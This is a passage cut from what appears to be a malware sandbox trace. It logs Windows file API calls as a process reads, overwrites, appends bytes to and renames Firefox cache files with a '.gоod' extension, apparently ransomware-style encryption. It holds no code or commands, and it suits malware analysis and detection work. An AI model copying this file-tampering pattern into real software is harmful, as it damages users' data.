dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0229.483] GetFileType (hFile=0x85c) returned 0x1 [0229.483] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0229.483] GetFileType (hFile=0x85c) returned 0x1 [0229.483] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0229.483] ReadFile (in: hFile=0x85c, lpBuffer=0x360d878, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x360d878*, lpNumberOfBytesRead=0x1fbeb0c8*=0x13b, lpOverlapped=0x0) returned 1 [0229.485] CloseHandle (hObject=0x85c) returned 1 [0229.485] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", lpFilePart=0x0) returned 0x7f [0229.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0229.485] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0229.485] GetFileType (hFile=0x85c) returned 0x1 [0229.485] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0229.485] GetFileType (hFile=0x85c) returned 0x1 [0229.485] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x113b [0229.485] WriteFile (in: hFile=0x85c, lpBuffer=0x360f1d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x360f1d0*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0229.485] CloseHandle (hObject=0x85c) returned 1 [0229.486] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", lpFilePart=0x0) returned 0x7f [0229.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0229.486] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0229.486] GetFileType (hFile=0x85c) returned 0x1 [0229.486] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0229.486] GetFileType (hFile=0x85c) returned 0x1 [0229.486] ReadFile (in: hFile=0x85c, lpBuffer=0x3611788, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x3611788*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0230.020] CloseHandle (hObject=0x85c) returned 1 [0230.020] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", lpFilePart=0x0) returned 0x7f [0230.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0230.020] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0230.020] GetFileType (hFile=0x85c) returned 0x1 [0230.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0230.020] GetFileType (hFile=0x85c) returned 0x1 [0230.020] WriteFile (in: hFile=0x85c, lpBuffer=0x3610438*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x3610438*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0230.021] CloseHandle (hObject=0x85c) returned 1 [0230.021] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055", lpFilePart=0x0) returned 0x7f [0230.021] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055.gоod", lpFilePart=0x0) returned 0x84 [0230.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0230.021] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd518a8e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd518a8e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x85518fc3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x114b)) returned 1 [0230.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0230.021] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0E0AA719737925C65439EF8199433AD2A3826055.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0e0aa719737925c65439ef8199433ad2a3826055.gоod")) returned 1 [0230.022] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", lpFilePart=0x0) returned 0x7f [0230.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0230.022] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0eddf8c091e2fed62e44bedddc1723f5bf38fe4f"), fInfoLevelId=0x0, lpFileInformation=0x36804e0 | out: lpFileInformation=0x36804e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e74078, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4e74078, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb777d4f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x1b3)) returned 1 [0230.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0230.023] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", lpFilePart=0x0) returned 0x7f [0230.023] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0230.023] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0eddf8c091e2fed62e44bedddc1723f5bf38fe4f"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0230.023] GetFileType (hFile=0x85c) returned 0x1 [0230.023] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0230.023] GetFileType (hFile=0x85c) returned 0x1 [0230.023] GetFileSize (in: hFile=0x85c, lpFileSizeHigh=0x1fbeb0f8 | out: lpFileSizeHigh=0x1fbeb0f8*=0x0) returned 0x1b3 [0230.023] ReadFile (in: hFile=0x85c, lpBuffer=0x3680a90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb028, lpOverlapped=0x0 | out: lpBuffer=0x3680a90*, lpNumberOfBytesRead=0x1fbeb028*=0x1b3, lpOverlapped=0x0) returned 1 [0230.024] CloseHandle (hObject=0x85c) returned 1 [0231.355] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", nBufferLength=0x105, lpBuffer=0x1fbeaa30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", lpFilePart=0x0) returned 0x7f [0231.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeaf50) returned 1 [0231.355] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0eddf8c091e2fed62e44bedddc1723f5bf38fe4f"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0231.356] GetFileType (hFile=0x828) returned 0x1 [0231.356] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaec0) returned 1 [0231.356] GetFileType (hFile=0x828) returned 0x1 [0231.356] WriteFile (in: hFile=0x828, lpBuffer=0x3843618*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x1fbeaf38, lpOverlapped=0x0 | out: lpBuffer=0x3843618*, lpNumberOfBytesWritten=0x1fbeaf38*=0x1c0, lpOverlapped=0x0) returned 1 [0231.357] CloseHandle (hObject=0x828) returned 1 [0231.357] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F", lpFilePart=0x0) returned 0x7f [0231.357] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F.gоod", lpFilePart=0x0) returned 0x84 [0231.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0231.357] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0eddf8c091e2fed62e44bedddc1723f5bf38fe4f"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e74078, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x4e74078, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x861d529c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c0)) returned 1 [0231.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb020) returned 1 [0231.357] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0eddf8c091e2fed62e44bedddc1723f5bf38fe4f"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0EDDF8C091E2FED62E44BEDDDC1723F5BF38FE4F.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0eddf8c091e2fed62e44bedddc1723f5bf38fe4f.gоod")) returned 1 [0231.358] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", lpFilePart=0x0) returned 0x7f [0231.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb0a0) returned 1 [0231.358] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42"), fInfoLevelId=0x0, lpFileInformation=0x38449b8 | out: lpFileInformation=0x38449b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898c851, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x898c851, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x898dba9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x4812)) returned 1 [0231.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb060) returned 1 [0231.358] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", lpFilePart=0x0) returned 0x7f [0231.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0231.358] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0231.358] GetFileType (hFile=0x828) returned 0x1 [0231.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0231.358] GetFileType (hFile=0x828) returned 0x1 [0231.358] SetFilePointer (in: hFile=0x828, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x1000 [0231.359] ReadFile (in: hFile=0x828, lpBuffer=0x3844f20, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb0c8, lpOverlapped=0x0 | out: lpBuffer=0x3844f20*, lpNumberOfBytesRead=0x1fbeb0c8*=0x1000, lpOverlapped=0x0) returned 1 [0231.360] CloseHandle (hObject=0x828) returned 1 [0231.360] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", lpFilePart=0x0) returned 0x7f [0231.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0231.360] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0231.360] GetFileType (hFile=0x828) returned 0x1 [0231.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0231.360] GetFileType (hFile=0x828) returned 0x1 [0231.360] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbeb0f8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbeb0f8*=0) returned 0x4812 [0231.360] WriteFile (in: hFile=0x828, lpBuffer=0x3847e10*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeafe8, lpOverlapped=0x0 | out: lpBuffer=0x3847e10*, lpNumberOfBytesWritten=0x1fbeafe8*=0x10, lpOverlapped=0x0) returned 1 [0231.361] CloseHandle (hObject=0x828) returned 1 [0231.361] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", lpFilePart=0x0) returned 0x7f [0231.362] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0231.362] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0231.362] GetFileType (hFile=0x828) returned 0x1 [0231.362] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0231.362] GetFileType (hFile=0x828) returned 0x1 [0231.362] ReadFile (in: hFile=0x828, lpBuffer=0x384c4e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbeb078, lpOverlapped=0x0 | out: lpBuffer=0x384c4e8*, lpNumberOfBytesRead=0x1fbeb078*=0x1000, lpOverlapped=0x0) returned 1 [0231.388] CloseHandle (hObject=0x828) returned 1 [0231.388] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", nBufferLength=0x105, lpBuffer=0x1fbeaa80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", lpFilePart=0x0) returned 0x7f [0231.388] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeafa0) returned 1 [0231.389] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0231.389] GetFileType (hFile=0x828) returned 0x1 [0231.389] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeaf10) returned 1 [0231.389] GetFileType (hFile=0x828) returned 0x1 [0231.389] WriteFile (in: hFile=0x828, lpBuffer=0x384b198*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbeb128, lpOverlapped=0x0 | out: lpBuffer=0x384b198*, lpNumberOfBytesWritten=0x1fbeb128*=0x1010, lpOverlapped=0x0) returned 1 [0231.389] CloseHandle (hObject=0x828) returned 1 [0231.389] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42", lpFilePart=0x0) returned 0x7f [0231.389] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42.gоod", nBufferLength=0x105, lpBuffer=0x1fbeabd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42.gоod", lpFilePart=0x0) returned 0x84 [0231.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb060) returned 1 [0231.389] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\0FEBD8BDBFAC8B82791945DC7E04F675419B2F42" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\0febd8bdbfac8b82791945dc7e04f675419b2f42"), fInfoLevelId=0x0, lpFileInformation=0x1fbeb140 | out: lpFileInformation=0x1fbeb140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x898c851, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x898c851, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x86221741, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4822)) returned 1 [0231.389] SetThreadErrorMode (dwNewMode=0x0, 